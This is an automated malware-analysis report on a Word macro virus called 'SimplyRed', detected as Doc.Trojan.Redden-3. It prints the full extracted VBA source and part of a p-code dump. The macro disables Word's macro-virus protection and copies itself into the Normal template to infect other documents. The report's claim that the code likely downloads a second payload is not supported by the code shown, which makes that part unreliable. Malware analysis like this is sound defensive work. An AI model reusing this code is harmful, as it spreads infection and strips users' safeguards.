MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macro code attempts to copy itself to the NormalTemplate and create a new module named 'SimplyRed', suggesting an attempt at persistence or evasion. The presence of the 'Doc.Trojan.Redden-3' ClamAV detection further supports its malicious nature. The macro's obfuscated comments and error handling indicate a deliberate attempt to conceal its functionality, likely to download and execute a secondary payload.
Heuristics 3
-
ClamAV: Doc.Trojan.Redden-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Redden-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5849 bytes |
SHA-256: b8ce39da76b007e5d2439e0131ed82e9dbd6343688cbd81896a0ece4520d7a1d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'AVP ------- *SUX* Go fU(k yourself Kaspersky!
'SimplyRed is tRuNcEd but it's ALIVE
'|mm0R†aL VIRii
'SimplyRed by N|(0†|N 2000
On Error GoTo Phuck
If Int(Rnd * 50) = 9 Then
ActiveDocument.Background.Fill.ForeColor.RGB = RGB(255, 0, 0)
ActiveDocument.Background.Fill.Visible = msoTrue
ActiveDocument.Background.Fill.Solid
ActiveWindow.View.Type = wdOnlineView
End If
Options.VirusProtection = False
Options.SaveNormalPrompt = False
If ThisDocument.FullName = NormalTemplate.FullName Then
Set dest = ActiveDocument.VBProject.VBComponents("ThisDocument")
Set stlth = ActiveDocument.VBProject
Set sour = NormalTemplate.VBProject.VBComponents("ThisDocument")
Else
Set sour = ThisDocument.VBProject.VBComponents("ThisDocument")
Set dest = NormalTemplate.VBProject.VBComponents("ThisDocument")
Set stlth = NormalTemplate.VBProject
End If
cou = dest.CodeModule.countoflines
If cou > 0 Then
For j = 1 To cou
dest.CodeModule.DeleteLines (1)
Next j
End If
lin = sour.CodeModule.Lines(1, sour.CodeModule.countoflines)
dest.CodeModule.AddFromString (lin)
already = False
cnt = stlth.VBComponents.Count
If cnt <> 0 Then
For i = 1 To cnt
aprj = stlth.VBComponents(i).Name
If aprj = "SimplyRed" Then already = True
Next i
Else
already = False
End If
If Not already Then
stlth.VBComponents.Add (vbext_ct_StdModule)
stlth.VBComponents(NormalTemplate.VBProject.VBComponents.Count).Name = "SimplyRed"
End If
Phuck:
End Sub
' Processing file: /opt/analyzer/scan_staging/4557dba8d73a4a1ba1ea7c24dd2167b0.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3345 bytes
' Line #0:
' Line #1:
' Line #2:
' FuncDefn (Private Sub Document_Open())
' Line #3:
' Line #4:
' QuoteRem 0x0000 0x002D "AVP ------- *SUX* Go fU(k yourself Kaspersky!"
' Line #5:
' QuoteRem 0x0000 0x0023 "SimplyRed is tRuNcEd but it's ALIVE"
' Line #6:
' QuoteRem 0x0000 0x000E "|mm0R†aL VIRii"
' Line #7:
' QuoteRem 0x0000 0x0019 "SimplyRed by N|(0†|N 2000"
' Line #8:
' Line #9:
' OnError Phuck
' Line #10:
' Ld Rnd
' LitDI2 0x0032
' Mul
' FnInt
' LitDI2 0x0009
' Eq
' IfBlock
' Line #11:
' LitDI2 0x00FF
' LitDI2 0x0000
' LitDI2 0x0000
' ArgsLd RSet 0x0003
' Ld ActiveDocument
' MemLd Background
' MemLd Fill
' MemLd ForeColor
' MemSt RSet
' Line #12:
' Ld msoTrue
' Ld ActiveDocument
' MemLd Background
' MemLd Fill
' MemSt Visible
' Line #13:
' Ld ActiveDocument
' MemLd Background
' MemLd Fill
' ArgsMemCall Solid 0x0000
' Line #14:
' Ld wdOnlineView
' Ld ActiveWindow
' MemLd View
' MemSt TypeOf
' Line #15:
' EndIfBlock
' Line #16:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #17:
' LitVarSpecial (False)
' Ld Options
' MemSt SaveNormalPrompt
' Line #18:
' Ld ThisDocument
' MemLd FullName
' Ld NormalTemplate
' MemLd FullName
' Eq
' IfBlock
' Line #19:
' SetStmt
' LitStr 0x000C "ThisDocument"
' Ld ActiveDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set dest
' Line #20:
' SetStmt
' Ld ActiveDocument
' MemLd VBProject
' Set stlth
' Line #21:
' SetStmt
' LitStr 0x000C "ThisDocument"
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set sour
' Line #22:
' ElseBlock
' Line #23:
' SetStmt
' LitStr 0x000C "ThisDocument"
' Ld ThisDocument
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set sour
' Line #24:
' SetStmt
' LitStr 0x000C "ThisDocument"
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' Set dest
' Line #25:
' SetStmt
' Ld NormalTemplate
' MemLd VBProject
' Set stlth
' Line #26:
' EndIfBlock
' Line #27:
' Ld dest
' MemLd CodeModule
' MemLd countoflines
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.